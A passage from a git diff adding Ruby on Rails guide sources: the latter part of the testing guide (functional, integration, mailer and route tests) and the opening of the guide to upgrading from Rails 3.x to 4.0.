+get(:view, {'id' => '12'}, nil, {'message' => 'booya!'})
+```
+
+NOTE: If you try running `test_should_create_post` test from `posts_controller_test.rb` it will fail on account of the newly added model level validation and rightly so.
+
+Let us modify `test_should_create_post` test in `posts_controller_test.rb` so that all our test pass:
+
+```ruby
+test "should create post" do
+ assert_difference('Post.count') do
+ post :create, post: {title: 'Some title'}
+ end
+
+ assert_redirected_to post_path(assigns(:post))
+end
+```
+
+Now you can try running all the tests and they should pass.
+
+### Available Request Types for Functional Tests
+
+If you're familiar with the HTTP protocol, you'll know that `get` is a type of request. There are 6 request types supported in Rails functional tests:
+
+* `get`
+* `post`
+* `patch`
+* `put`
+* `head`
+* `delete`
+
+All of request types are methods that you can use, however, you'll probably end up using the first two more often than the others.
+
+NOTE: Functional tests do not verify whether the specified request type should be accepted by the action. Request types in this context exist to make your tests more descriptive.
+
+### The Four Hashes of the Apocalypse
+
+After a request has been made by using one of the 5 methods (`get`, `post`, etc.) and processed, you will have 4 Hash objects ready for use:
+
+* `assigns` - Any objects that are stored as instance variables in actions for use in views.
+* `cookies` - Any cookies that are set.
+* `flash` - Any objects living in the flash.
+* `session` - Any object living in session variables.
+
+As is the case with normal Hash objects, you can access the values by referencing the keys by string. You can also reference them by symbol name, except for `assigns`. For example:
+
+```ruby
+flash["gordon"] flash[:gordon]
+session["shmession"] session[:shmession]
+cookies["are_good_for_u"] cookies[:are_good_for_u]
+
+# Because you can't use assigns[:something] for historical reasons:
+assigns["something"] assigns(:something)
+```
+
+### Instance Variables Available
+
+You also have access to three instance variables in your functional tests:
+
+* `@controller` - The controller processing the request
+* `@request` - The request
+* `@response` - The response
+
+### Setting Headers and CGI variables
+
+Headers and cgi variables can be set directly on the `@request`
+instance variable:
+
+```ruby
+# setting a HTTP Header
+ at request.headers["Accepts"] = "text/plain, text/html"
+get :index # simulate the request with custom header
+
+# setting a CGI variable
+ at request.headers["HTTP_REFERER"] = "http://example.com/home"
+post :create # simulate the request with custom env variable
+```
+
+### Testing Templates and Layouts
+
+If you want to make sure that the response rendered the correct template and layout, you can use the `assert_template`
+method:
+
+```ruby
+test "index should render correct template and layout" do
+ get :index
+ assert_template :index
+ assert_template layout: "layouts/application"
+end
+```
+
+Note that you cannot test for template and layout at the same time, with one call to `assert_template` method.
+Also, for the `layout` test, you can give a regular expression instead of a string, but using the string, makes
+things clearer. On the other hand, you have to include the "layouts" directory name even if you save your layout
+file in this standard layout directory. Hence,
+
+```ruby
+assert_template layout: "application"
+```
+
+will not work.
+
+If your view renders any partial, when asserting for the layout, you have to assert for the partial at the same time.
+Otherwise, assertion will fail.
+
+Hence:
+
+```ruby
+test "new should render correct layout" do
+ get :new
+ assert_template layout: "layouts/application", partial: "_form"
+end
+```
+
+is the correct way to assert for the layout when the view renders a partial with name `_form`. Omitting the `:partial` key in your `assert_template` call will complain.
+
+### A Fuller Functional Test Example
+
+Here's another example that uses `flash`, `assert_redirected_to`, and `assert_difference`:
+
+```ruby
+test "should create post" do
+ assert_difference('Post.count') do
+ post :create, post: {title: 'Hi', body: 'This is my first post.'}
+ end
+ assert_redirected_to post_path(assigns(:post))
+ assert_equal 'Post was successfully created.', flash[:notice]
+end
+```
+
+### Testing Views
+
+Testing the response to your request by asserting the presence of key HTML elements and their content is a useful way to test the views of your application. The `assert_select` assertion allows you to do this by using a simple yet powerful syntax.
+
+NOTE: You may find references to `assert_tag` in other documentation, but this is now deprecated in favor of `assert_select`.
+
+There are two forms of `assert_select`:
+
+`assert_select(selector, [equality], [message])` ensures that the equality condition is met on the selected elements through the selector. The selector may be a CSS selector expression (String), an expression with substitution values, or an `HTML::Selector` object.
+
+`assert_select(element, selector, [equality], [message])` ensures that the equality condition is met on all the selected elements through the selector starting from the _element_ (instance of `HTML::Node`) and its descendants.
+
+For example, you could verify the contents on the title element in your response with:
+
+```ruby
+assert_select 'title', "Welcome to Rails Testing Guide"
+```
+
+You can also use nested `assert_select` blocks. In this case the inner `assert_select` runs the assertion on the complete collection of elements selected by the outer `assert_select` block:
+
+```ruby
+assert_select 'ul.navigation' do
+ assert_select 'li.menu_item'
+end
+```
+
+Alternatively the collection of elements selected by the outer `assert_select` may be iterated through so that `assert_select` may be called separately for each element. Suppose for example that the response contains two ordered lists, each with four list elements then the following tests will both pass.
+
+```ruby
+assert_select "ol" do |elements|
+ elements.each do |element|
+ assert_select element, "li", 4
+ end
+end
+
+assert_select "ol" do
+ assert_select "li", 8
+end
+```
+
+The `assert_select` assertion is quite powerful. For more advanced usage, refer to its [documentation](http://api.rubyonrails.org/classes/ActionDispatch/Assertions/SelectorAssertions.html).
+
+#### Additional View-Based Assertions
+
+There are more assertions that are primarily used in testing views:
+
+| Assertion | Purpose |
+| ---------------------------------------------------------- | ------- |
+| `assert_select_email` | Allows you to make assertions on the body of an e-mail. |
+| `assert_select_encoded` | Allows you to make assertions on encoded HTML. It does this by un-encoding the contents of each element and then calling the block with all the un-encoded elements.|
+| `css_select(selector)` or `css_select(element, selector)` | Returns an array of all the elements selected by the _selector_. In the second variant it first matches the base _element_ and tries to match the _selector_ expression on any of its children. If there are no matches both variants return an empty array.|
+
+Here's an example of using `assert_select_email`:
+
+```ruby
+assert_select_email do
+ assert_select 'small', 'Please click the "Unsubscribe" link if you want to opt-out.'
+end
+```
+
+Integration Testing
+-------------------
+
+Integration tests are used to test the interaction among any number of controllers. They are generally used to test important work flows within your application.
+
+Unlike Unit and Functional tests, integration tests have to be explicitly created under the 'test/integration' folder within your application. Rails provides a generator to create an integration test skeleton for you.
+
+```bash
+$ rails generate integration_test user_flows
+ exists test/integration/
+ create test/integration/user_flows_test.rb
+```
+
+Here's what a freshly-generated integration test looks like:
+
+```ruby
+require 'test_helper'
+
+class UserFlowsTest < ActionDispatch::IntegrationTest
+ # test "the truth" do
+ # assert true
+ # end
+end
+```
+
+Integration tests inherit from `ActionDispatch::IntegrationTest`. This makes available some additional helpers to use in your integration tests. Also you need to explicitly include the fixtures to be made available to the test.
+
+### Helpers Available for Integration Tests
+
+In addition to the standard testing helpers, there are some additional helpers available to integration tests:
+
+| Helper | Purpose |
+| ------------------------------------------------------------------ | ------- |
+| `https?` | Returns `true` if the session is mimicking a secure HTTPS request.|
+| `https!` | Allows you to mimic a secure HTTPS request.|
+| `host!` | Allows you to set the host name to use in the next request.|
+| `redirect?` | Returns `true` if the last request was a redirect.|
+| `follow_redirect!` | Follows a single redirect response.|
+| `request_via_redirect(http_method, path, [parameters], [headers])` | Allows you to make an HTTP request and follow any subsequent redirects.|
+| `post_via_redirect(path, [parameters], [headers])` | Allows you to make an HTTP POST request and follow any subsequent redirects.|
+| `get_via_redirect(path, [parameters], [headers])` | Allows you to make an HTTP GET request and follow any subsequent redirects.|
+| `patch_via_redirect(path, [parameters], [headers])` | Allows you to make an HTTP PATCH request and follow any subsequent redirects.|
+| `put_via_redirect(path, [parameters], [headers])` | Allows you to make an HTTP PUT request and follow any subsequent redirects.|
+| `delete_via_redirect(path, [parameters], [headers])` | Allows you to make an HTTP DELETE request and follow any subsequent redirects.|
+| `open_session` | Opens a new session instance.|
+
+### Integration Testing Examples
+
+A simple integration test that exercises multiple controllers:
+
+```ruby
+require 'test_helper'
+
+class UserFlowsTest < ActionDispatch::IntegrationTest
+ fixtures :users
+
+ test "login and browse site" do
+ # login via https
+ https!
+ get "/login"
+ assert_response :success
+
+ post_via_redirect "/login", username: users(:david).username, password: users(:david).password
+ assert_equal '/welcome', path
+ assert_equal 'Welcome david!', flash[:notice]
+
+ https!(false)
+ get "/posts/all"
+ assert_response :success
+ assert assigns(:products)
+ end
+end
+```
+
+As you can see the integration test involves multiple controllers and exercises the entire stack from database to dispatcher. In addition you can have multiple session instances open simultaneously in a test and extend those instances with assertion methods to create a very powerful testing DSL (domain-specific language) just for your application.
+
+Here's an example of multiple sessions and custom DSL in an integration test
+
+```ruby
+require 'test_helper'
+
+class UserFlowsTest < ActionDispatch::IntegrationTest
+ fixtures :users
+
+ test "login and browse site" do
+
+ # User david logs in
+ david = login(:david)
+ # User guest logs in
+ guest = login(:guest)
+
+ # Both are now available in different sessions
+ assert_equal 'Welcome david!', david.flash[:notice]
+ assert_equal 'Welcome guest!', guest.flash[:notice]
+
+ # User david can browse site
+ david.browses_site
+ # User guest can browse site as well
+ guest.browses_site
+
+ # Continue with other assertions
+ end
+
+ private
+
+ module CustomDsl
+ def browses_site
+ get "/products/all"
+ assert_response :success
+ assert assigns(:products)
+ end
+ end
+
+ def login(user)
+ open_session do |sess|
+ sess.extend(CustomDsl)
+ u = users(user)
+ sess.https!
+ sess.post "/login", username: u.username, password: u.password
+ assert_equal '/welcome', path
+ sess.https!(false)
+ end
+ end
+end
+```
+
+Rake Tasks for Running your Tests
+---------------------------------
+
+You don't need to set up and run your tests by hand on a test-by-test basis. Rails comes with a number of commands to help in testing. The table below lists all commands that come along in the default Rakefile when you initiate a Rails project.
+
+| Tasks | Description |
+| ------------------------ | ----------- |
+| `rake test` | Runs all unit, functional and integration tests. You can also simply run `rake test` as Rails will run all the tests by default|
+| `rake test:controllers` | Runs all the controller tests from `test/controllers`|
+| `rake test:functionals` | Runs all the functional tests from `test/controllers`, `test/mailers`, and `test/functional`|
+| `rake test:helpers` | Runs all the helper tests from `test/helpers`|
+| `rake test:integration` | Runs all the integration tests from `test/integration`|
+| `rake test:mailers` | Runs all the mailer tests from `test/mailers`|
+| `rake test:models` | Runs all the model tests from `test/models`|
+| `rake test:units` | Runs all the unit tests from `test/models`, `test/helpers`, and `test/unit`|
+
+There're also some test commands which you can initiate by running rake tasks:
+
+| Tasks | Description |
+| ------------------------ | ----------- |
+| `rake test` | Runs all unit, functional and integration tests. You can also simply run `rake` as the _test_ target is the default.|
+| `rake test:recent` | Tests recent changes|
+| `rake test:uncommitted` | Runs all the tests which are uncommitted. Supports Subversion and Git|
+
+Brief Note About `MiniTest`
+-----------------------------
+
+Ruby ships with a boat load of libraries. Ruby 1.8 provides `Test::Unit`, a framework for unit testing in Ruby. All the basic assertions discussed above are actually defined in `Test::Unit::Assertions`. The class `ActiveSupport::TestCase` which we have been using in our unit and functional tests extends `Test::Unit::TestCase`, allowing
+us to use all of the basic assertions in our tests.
+
+Ruby 1.9 introduced `MiniTest`, an updated version of `Test::Unit` which provides a backwards compatible API for `Test::Unit`. You could also use `MiniTest` in Ruby 1.8 by installing the `minitest` gem.
+
+NOTE: For more information on `Test::Unit`, refer to [test/unit Documentation](http://ruby-doc.org/stdlib/libdoc/test/unit/rdoc/)
+For more information on `MiniTest`, refer to [Minitest](http://www.ruby-doc.org/stdlib-1.9.3/libdoc/minitest/unit/rdoc/)
+
+Setup and Teardown
+------------------
+
+If you would like to run a block of code before the start of each test and another block of code after the end of each test you have two special callbacks for your rescue. Let's take note of this by looking at an example for our functional test in `Posts` controller:
+
+```ruby
+require 'test_helper'
+
+class PostsControllerTest < ActionController::TestCase
+
+ # called before every single test
+ def setup
+ @post = posts(:one)
+ end
+
+ # called after every single test
+ def teardown
+ # as we are re-initializing @post before every test
+ # setting it to nil here is not essential but I hope
+ # you understand how you can use the teardown method
+ @post = nil
+ end
+
+ test "should show post" do
+ get :show, id: @post.id
+ assert_response :success
+ end
+
+ test "should destroy post" do
+ assert_difference('Post.count', -1) do
+ delete :destroy, id: @post.id
+ end
+
+ assert_redirected_to posts_path
+ end
+
+end
+```
+
+Above, the `setup` method is called before each test and so `@post` is available for each of the tests. Rails implements `setup` and `teardown` as `ActiveSupport::Callbacks`. Which essentially means you need not only use `setup` and `teardown` as methods in your tests. You could specify them by using:
+
+* a block
+* a method (like in the earlier example)
+* a method name as a symbol
+* a lambda
+
+Let's see the earlier example by specifying `setup` callback by specifying a method name as a symbol:
+
+```ruby
+require 'test_helper'
+
+class PostsControllerTest < ActionController::TestCase
+
+ # called before every single test
+ setup :initialize_post
+
+ # called after every single test
+ def teardown
+ @post = nil
+ end
+
+ test "should show post" do
+ get :show, id: @post.id
+ assert_response :success
+ end
+
+ test "should update post" do
+ patch :update, id: @post.id, post: {}
+ assert_redirected_to post_path(assigns(:post))
+ end
+
+ test "should destroy post" do
+ assert_difference('Post.count', -1) do
+ delete :destroy, id: @post.id
+ end
+
+ assert_redirected_to posts_path
+ end
+
+ private
+
+ def initialize_post
+ @post = posts(:one)
+ end
+
+end
+```
+
+Testing Routes
+--------------
+
+Like everything else in your Rails application, it is recommended that you test your routes. An example test for a route in the default `show` action of `Posts` controller above should look like:
+
+```ruby
+test "should route to post" do
+ assert_routing '/posts/1', {controller: "posts", action: "show", id: "1"}
+end
+```
+
+Testing Your Mailers
+--------------------
+
+Testing mailer classes requires some specific tools to do a thorough job.
+
+### Keeping the Postman in Check
+
+Your mailer classes — like every other part of your Rails application — should be tested to ensure that it is working as expected.
+
+The goals of testing your mailer classes are to ensure that:
+
+* emails are being processed (created and sent)
+* the email content is correct (subject, sender, body, etc)
+* the right emails are being sent at the right times
+
+#### From All Sides
+
+There are two aspects of testing your mailer, the unit tests and the functional tests. In the unit tests, you run the mailer in isolation with tightly controlled inputs and compare the output to a known value (a fixture.) In the functional tests you don't so much test the minute details produced by the mailer; instead, we test that our controllers and models are using the mailer in the right way. You test to prove that the right email was sent at the right time.
+
+### Unit Testing
+
+In order to test that your mailer is working as expected, you can use unit tests to compare the actual results of the mailer with pre-written examples of what should be produced.
+
+#### Revenge of the Fixtures
+
+For the purposes of unit testing a mailer, fixtures are used to provide an example of how the output _should_ look. Because these are example emails, and not Active Record data like the other fixtures, they are kept in their own subdirectory apart from the other fixtures. The name of the directory within `test/fixtures` directly corresponds to the name of the mailer. So, for a mailer named `UserMailer`, the fixtures should reside in `test/fixtures/user_mailer` directory.
+
+When you generated your mailer, the generator creates stub fixtures for each of the mailers actions. If you didn't use the generator you'll have to make those files yourself.
+
+#### The Basic Test Case
+
+Here's a unit test to test a mailer named `UserMailer` whose action `invite` is used to send an invitation to a friend. It is an adapted version of the base test created by the generator for an `invite` action.
+
+```ruby
+require 'test_helper'
+
+class UserMailerTest < ActionMailer::TestCase
+ tests UserMailer
+ test "invite" do
+ # Send the email, then test that it got queued
+ email = UserMailer.create_invite('me at example.com',
+ 'friend at example.com', Time.now).deliver
+ assert !ActionMailer::Base.deliveries.empty?
+
+ # Test the body of the sent email contains what we expect it to
+ assert_equal ['me at example.com'], email.from
+ assert_equal ['friend at example.com'], email.to
+ assert_equal 'You have been invited by me at example.com', email.subject
+ assert_equal read_fixture('invite').join, email.body.to_s
+ end
+end
+```
+
+In the test we send the email and store the returned object in the `email`
+variable. We then ensure that it was sent (the first assert), then, in the
+second batch of assertions, we ensure that the email does indeed contain what we
+expect. The helper `read_fixture` is used to read in the content from this file.
+
+Here's the content of the `invite` fixture:
+
+```
+Hi friend at example.com,
+
+You have been invited.
+
+Cheers!
+```
+
+This is the right time to understand a little more about writing tests for your
+mailers. The line `ActionMailer::Base.delivery_method = :test` in
+`config/environments/test.rb` sets the delivery method to test mode so that
+email will not actually be delivered (useful to avoid spamming your users while
+testing) but instead it will be appended to an array
+(`ActionMailer::Base.deliveries`).
+
+NOTE: The `ActionMailer::Base.deliveries` array is only reset automatically in
+`ActionMailer::TestCase` tests. If you want to have a clean slate outside Action
+Mailer tests, you can reset it manually with:
+`ActionMailer::Base.deliveries.clear`
+
+### Functional Testing
+
+Functional testing for mailers involves more than just checking that the email body, recipients and so forth are correct. In functional mail tests you call the mail deliver methods and check that the appropriate emails have been appended to the delivery list. It is fairly safe to assume that the deliver methods themselves do their job. You are probably more interested in whether your own business logic is sending emails when you expect them to go out. For example, you can check that the [...]
+
+```ruby
+require 'test_helper'
+
+class UserControllerTest < ActionController::TestCase
+ test "invite friend" do
+ assert_difference 'ActionMailer::Base.deliveries.size', +1 do
+ post :invite_friend, email: 'friend at example.com'
+ end
+ invite_email = ActionMailer::Base.deliveries.last
+
+ assert_equal "You have been invited by me at example.com", invite_email.subject
+ assert_equal 'friend at example.com', invite_email.to[0]
+ assert_match(/Hi friend at example.com/, invite_email.body)
+ end
+end
+```
+
+Other Testing Approaches
+------------------------
+
+The built-in `test/unit` based testing is not the only way to test Rails applications. Rails developers have come up with a wide variety of other approaches and aids for testing, including:
+
+* [NullDB](http://avdi.org/projects/nulldb/), a way to speed up testing by avoiding database use.
+* [Factory Girl](https://github.com/thoughtbot/factory_girl/tree/master), a replacement for fixtures.
+* [Machinist](https://github.com/notahat/machinist/tree/master), another replacement for fixtures.
+* [MiniTest::Spec Rails](https://github.com/metaskills/minitest-spec-rails), use the MiniTest::Spec DSL within your rails tests.
+* [Shoulda](http://www.thoughtbot.com/projects/shoulda), an extension to `test/unit` with additional helpers, macros, and assertions.
+* [RSpec](http://relishapp.com/rspec), a behavior-driven development framework
diff --git a/guides/source/upgrading_ruby_on_rails.md b/guides/source/upgrading_ruby_on_rails.md
new file mode 100644
index 0000000..51d6775
--- /dev/null
+++ b/guides/source/upgrading_ruby_on_rails.md
@@ -0,0 +1,389 @@
+A Guide for Upgrading Ruby on Rails
+===================================
+
+This guide provides steps to be followed when you upgrade your applications to a newer version of Ruby on Rails. These steps are also available in individual release guides.
+
+General Advice
+--------------
+
+Before attempting to upgrade an existing application, you should be sure you have a good reason to upgrade. You need to balance out several factors: the need for new features, the increasing difficulty of finding support for old code, and your available time and skills, to name a few.
+
+### Test Coverage
+
+The best way to be sure that your application still works after upgrading is to have good test coverage before you start the process. If you don't have automated tests that exercise the bulk of your application, you'll need to spend time manually exercising all the parts that have changed. In the case of a Rails upgrade, that will mean every single piece of functionality in the application. Do yourself a favor and make sure your test coverage is good _before_ you start an upgrade.
+
+### Ruby Versions
+
+Rails generally stays close to the latest released Ruby version when it's released:
+
+* Rails 3 and above require Ruby 1.8.7 or higher. Support for all of the previous Ruby versions has been dropped officially. You should upgrade as early as possible.
+* Rails 3.2.x is the last branch to support Ruby 1.8.7.
+* Rails 4 prefers Ruby 2.0 and requires 1.9.3 or newer.
+
+TIP: Ruby 1.8.7 p248 and p249 have marshaling bugs that crash Rails. Ruby Enterprise Edition has these fixed since the release of 1.8.7-2010.02. On the 1.9 front, Ruby 1.9.1 is not usable because it outright segfaults, so if you want to use 1.9.x, jump straight to 1.9.3 for smooth sailing.
+
+Upgrading from Rails 3.2 to Rails 4.0
+-------------------------------------
+
+NOTE: This section is a work in progress.
+
+If your application is currently on any version of Rails older than 3.2.x, you should upgrade to Rails 3.2 before attempting one to Rails 4.0.
+
+The following changes are meant for upgrading your application to Rails 4.0.
+
+### Gemfile
+
+Rails 4.0 removed the `assets` group from Gemfile. You'd need to remove that line from your Gemfile when upgrading.
+
+### vendor/plugins
+
+Rails 4.0 no longer supports loading plugins from `vendor/plugins`. You must replace any plugins by extracting them to gems and adding them to your Gemfile. If you choose not to make them gems, you can move them into, say, `lib/my_plugin/*` and add an appropriate initializer in `config/initializers/my_plugin.rb`.
+
+### Active Record
+
+* Rails 4.0 has removed the identity map from Active Record, due to [some inconsistencies with associations](https://github.com/rails/rails/commit/302c912bf6bcd0fa200d964ec2dc4a44abe328a6). If you have manually enabled it in your application, you will have to remove the following config that has no effect anymore: `config.active_record.identity_map`.
+
+* The `delete` method in collection associations can now receive `Fixnum` or `String` arguments as record ids, besides records, pretty much like the `destroy` method does. Previously it raised `ActiveRecord::AssociationTypeMismatch` for such arguments. From Rails 4.0 on `delete` automatically tries to find the records matching the given ids before deleting them.
+
+* Rails 4.0 has changed how orders get stacked in `ActiveRecord::Relation`. In previous versions of Rails, the new order was applied after the previously defined order. But this is no longer true. Check [Active Record Query guide](active_record_querying.html#ordering) for more information.
+
+* Rails 4.0 has changed `serialized_attributes` and `attr_readonly` to class methods only. You shouldn't use instance methods since it's now deprecated. You should change them to use class methods, e.g. `self.serialized_attributes` to `self.class.serialized_attributes`.
+
+* Rails 4.0 has removed `attr_accessible` and `attr_protected` feature in favor of Strong Parameters. You can use the [Protected Attributes gem](https://github.com/rails/protected_attributes) to a smoothly upgrade path.
+
+* Rails 4.0 requires that scopes use a callable object such as a Proc or lambda:
+
+```ruby
+ scope :active, where(active: true)
+
+ # becomes
+ scope :active, -> { where active: true }
+```
+
+* Rails 4.0 has deprecated `ActiveRecord::Fixtures` in favor of `ActiveRecord::FixtureSet`.
+* Rails 4.0 has deprecated `ActiveRecord::TestCase` in favor of `ActiveSupport::TestCase`.
+
+### Active Resource
+
+Rails 4.0 extracted Active Resource to its own gem. If you still need the feature you can add the [Active Resource gem](https://github.com/rails/activeresource) in your Gemfile.
+
+### Active Model
+
+* Rails 4.0 has changed how errors attach with the `ActiveModel::Validations::ConfirmationValidator`. Now when confirmation validations fail, the error will be attached to `:#{attribute}_confirmation` instead of `attribute`.
+
+* Rails 4.0 has changed `ActiveModel::Serializers::JSON.include_root_in_json` default value to `false`. Now, Active Model Serializers and Active Record objects have the same default behaviour. This means that you can comment or remove the following option in the `config/initializers/wrap_parameters.rb` file:
+
+```ruby
+# Disable root element in JSON by default.
+# ActiveSupport.on_load(:active_record) do
+# self.include_root_in_json = false
+# end
+```
+
+### Action Pack
+
+* Rails 4.0 introduces `ActiveSupport::KeyGenerator` and uses this as a base from which to generate and verify signed cookies (among other things). Existing signed cookies generated with Rails 3.x will be transparently upgraded if you leave your existing `secret_token` in place and add the new `secret_key_base`.
+
+```ruby
+ # config/initializers/secret_token.rb
+ Myapp::Application.config.secret_token = 'existing secret token'
+ Myapp::Application.config.secret_key_base = 'new secret key base'
+```
+
+Please note that you should wait to set `secret_key_base` until you have 100% of your userbase on Rails 4.x and are reasonably sure you will not need to rollback to Rails 3.x. This is because cookies signed based on the new `secret_key_base` in Rails 4.x are not backwards compatible with Rails 3.x. You are free to leave your existing `secret_token` in place, not set the new `secret_key_base`, and ignore the deprecation warnings until you are reasonably sure that your upgrade is otherwise [...]
+
+If you are relying on the ability for external applications or Javascript to be able to read your Rails app's signed session cookies (or signed cookies in general) you should not set `secret_key_base` until you have decoupled these concerns.
+
+* Rails 4.0 encrypts the contents of cookie-based sessions if `secret_key_base` has been set. Rails 3.x signed, but did not encrypt, the contents of cookie-based session. Signed cookies are "secure" in that they are verified to have been generated by your app and are tamper-proof. However, the contents can be viewed by end users, and encrypting the contents eliminates this caveat/concern without a significant performance penalty.
+
+As described above, existing signed cookies generated with Rails 3.x will be transparently upgraded if you leave your existing `secret_token` in place and add the new `secret_key_base`.
+
+```ruby
+ # config/initializers/secret_token.rb
+ Myapp::Application.config.secret_token = 'existing secret token'
+ Myapp::Application.config.secret_key_base = 'new secret key base'
+```
+
+The same caveats apply here, too. You should wait to set `secret_key_base` until you have 100% of your userbase on Rails 4.x and are reasonably sure you will not need to rollback to Rails 3.x. You should also take care to make sure you are not relying on the ability to decode signed cookies generated by your app in external applications or Javascript before upgrading.
+
+Please read [Pull Request #9978](https://github.com/rails/rails/pull/9978) for details on the move to encrypted session cookies.
+
+* Rails 4.0 removed the `ActionController::Base.asset_path` option. Use the assets pipeline feature.
+
+* Rails 4.0 has deprecated `ActionController::Base.page_cache_extension` option. Use `ActionController::Base.default_static_extension` instead.
+
+* Rails 4.0 has removed Action and Page caching from Action Pack. You will need to add the `actionpack-action_caching` gem in order to use `caches_action` and the `actionpack-page_caching` to use `caches_pages` in your controllers.
+
+* Rails 4.0 has removed the XML parameters parser. You will need to add the `actionpack-xml_parser` gem if you require this feature.
+
+* Rails 4.0 changes the default memcached client from `memcache-client` to `dalli`. To upgrade, simply add `gem 'dalli'` to your `Gemfile`.
+
+* Rails 4.0 deprecates the `dom_id` and `dom_class` methods. You will need to include the `ActionView::RecordIdentifier` module in controllers requiring this feature.
+
+* Rails 4.0 changed how `assert_generates`, `assert_recognizes`, and `assert_routing` work. Now all these assertions raise `Assertion` instead of `ActionController::RoutingError`.
+
+* Rails 4.0 raises an `ArgumentError` if clashing named routes are defined. This can be triggered by explicitly defined named routes or by the `resources` method. Here are two examples that clash with routes named `example_path`:
+
+```ruby
+ get 'one' => 'test#example', as: :example
+ get 'two' => 'test#example', as: :example
+```
+
+```ruby
+ resources :examples
+ get 'clashing/:id' => 'test#example', as: :example
+```
+
+In the first case, you can simply avoid using the same name for multiple
+routes. In the second, you can use the `only` or `except` options provided by
+the `resources` method to restrict the routes created as detailed in the
+[Routing Guide](routing.html#restricting-the-routes-created).
+
+* Rails 4.0 also changed the way unicode character routes are drawn. Now you can draw unicode character routes directly. If you already draw such routes, you must change them, for example:
+
+```ruby
+get Rack::Utils.escape('こんにちは'), controller: 'welcome', action: 'index'
+```
+
+becomes
+
+```ruby
+get 'こんにちは', controller: 'welcome', action: 'index'
+```
+
+* Rails 4.0 requires that routes using `match` must specify the request method. For example:
+
+```ruby
+ # Rails 3.x
+ match "/" => "root#index"
+
+ # becomes
+ match "/" => "root#index", via: :get
+
+ # or
+ get "/" => "root#index"
+```
+
+* Rails 4.0 has removed `ActionDispatch::BestStandardsSupport` middleware, `<!DOCTYPE html>` already triggers standards mode per http://msdn.microsoft.com/en-us/library/jj676915(v=vs.85).aspx and ChromeFrame header has been moved to `config.action_dispatch.default_headers`.
+
+Remember you must also remove any references to the middleware from your application code, for example:
+
+```ruby
+# Raise exception
+config.middleware.insert_before(Rack::Lock, ActionDispatch::BestStandardsSupport)
+```
+
+Also check your environment settings for `config.action_dispatch.best_standards_support` and remove it if present.
+
+* In Rails 4.0, precompiling assets no longer automatically copies non-JS/CSS assets from `vendor/assets` and `lib/assets`. Rails application and engine developers should put these assets in `app/assets` or configure `config.assets.precompile`.
+
+* In Rails 4.0, `ActionController::UnknownFormat` is raised when the action doesn't handle the request format. By default, the exception is handled by responding with 406 Not Acceptable, but you can override that now. In Rails 3, 406 Not Acceptable was always returned. No overrides.
+
+* In Rails 4.0, a generic `ActionDispatch::ParamsParser::ParseError` exception is raised when `ParamsParser` fails to parse request params. You will want to rescue this exception instead of the low-level `MultiJson::DecodeError`, for example.
+
+* In Rails 4.0, `SCRIPT_NAME` is properly nested when engines are mounted on an app that's served from a URL prefix. You no longer have to set `default_url_options[:script_name]` to work around overwritten URL prefixes.
+
+* Rails 4.0 deprecated `ActionController::Integration` in favor of `ActionDispatch::Integration`.
+* Rails 4.0 deprecated `ActionController::IntegrationTest` in favor of `ActionDispatch::IntegrationTest`.
+* Rails 4.0 deprecated `ActionController::PerformanceTest` in favor of `ActionDispatch::PerformanceTest`.
+* Rails 4.0 deprecated `ActionController::AbstractRequest` in favor of `ActionDispatch::Request`.
+* Rails 4.0 deprecated `ActionController::Request` in favor of `ActionDispatch::Request`.
+* Rails 4.0 deprecated `ActionController::AbstractResponse` in favor of `ActionDispatch::Response`.
+* Rails 4.0 deprecated `ActionController::Response` in favor of `ActionDispatch::Response`.
+* Rails 4.0 deprecated `ActionController::Routing` in favor of `ActionDispatch::Routing`.
+
+### Active Support
+
+Rails 4.0 removes the `j` alias for `ERB::Util#json_escape` since `j` is already used for `ActionView::Helpers::JavaScriptHelper#escape_javascript`.
+
+### Helpers Loading Order
+
+The order in which helpers from more than one directory are loaded has changed in Rails 4.0. Previously, they were gathered and then sorted alphabetically. After upgrading to Rails 4.0, helpers will preserve the order of loaded directories and will be sorted alphabetically only within each directory. Unless you explicitly use the `helpers_path` parameter, this change will only impact the way of loading helpers from engines. If you rely on the ordering, you should check if correct methods [...]
+
+### Active Record Observer and Action Controller Sweeper
+
+Active Record Observer and Action Controller Sweeper have been extracted to the `rails-observers` gem. You will need to add the `rails-observers` gem if you require these features.
+
+### sprockets-rails
+
+* `assets:precompile:primary` has been removed. Use `assets:precompile` instead.
+
+### sass-rails
+
+* `asset_url` with two arguments is deprecated. For example: `asset-url("rails.png", image)` becomes `asset-url("rails.png")`
+
+Upgrading from Rails 3.1 to Rails 3.2
+-------------------------------------
+
+If your application is currently on any version of Rails older than 3.1.x, you should upgrade to Rails 3.1 before attempting an update to Rails 3.2.
+
+The following changes are meant for upgrading your application to Rails 3.2.12, the latest 3.2.x version of Rails.
+
+### Gemfile
+
+Make the following changes to your `Gemfile`.
+
+```ruby
+gem 'rails', '= 3.2.12'
+
+group :assets do
+ gem 'sass-rails', '~> 3.2.3'
+ gem 'coffee-rails', '~> 3.2.1'
+ gem 'uglifier', '>= 1.0.3'
+end
+```
+
+### config/environments/development.rb
+
+There are a couple of new configuration settings that you should add to your development environment:
+
+```ruby
+# Raise exception on mass assignment protection for Active Record models
+config.active_record.mass_assignment_sanitizer = :strict
+
+# Log the query plan for queries taking more than this (works
+# with SQLite, MySQL, and PostgreSQL)
+config.active_record.auto_explain_threshold_in_seconds = 0.5
+```
+
+### config/environments/test.rb
+
+The `mass_assignment_sanitizer` configuration setting should also be be added to `config/environments/test.rb`:
+
+```ruby
+# Raise exception on mass assignment protection for Active Record models
+config.active_record.mass_assignment_sanitizer = :strict
+```
+
+### vendor/plugins
+
+Rails 3.2 deprecates `vendor/plugins` and Rails 4.0 will remove them completely. While it's not strictly necessary as part of a Rails 3.2 upgrade, you can start replacing any plugins by extracting them to gems and adding them to your Gemfile. If you choose not to make them gems, you can move them into, say, `lib/my_plugin/*` and add an appropriate initializer in `config/initializers/my_plugin.rb`.
+
+Upgrading from Rails 3.0 to Rails 3.1
+-------------------------------------
+
+If your application is currently on any version of Rails older than 3.0.x, you should upgrade to Rails 3.0 before attempting an update to Rails 3.1.
+
+The following changes are meant for upgrading your application to Rails 3.1.11, the latest 3.1.x version of Rails.
+
+### Gemfile
+
+Make the following changes to your `Gemfile`.
+
+```ruby
+gem 'rails', '= 3.1.11'
+gem 'mysql2'
+
+# Needed for the new asset pipeline
+group :assets do
+ gem 'sass-rails', "~> 3.1.5"
+ gem 'coffee-rails', "~> 3.1.1"
+ gem 'uglifier', ">= 1.0.3"
+end
+
+# jQuery is the default JavaScript library in Rails 3.1
+gem 'jquery-rails'
+```
+
+### config/application.rb
+
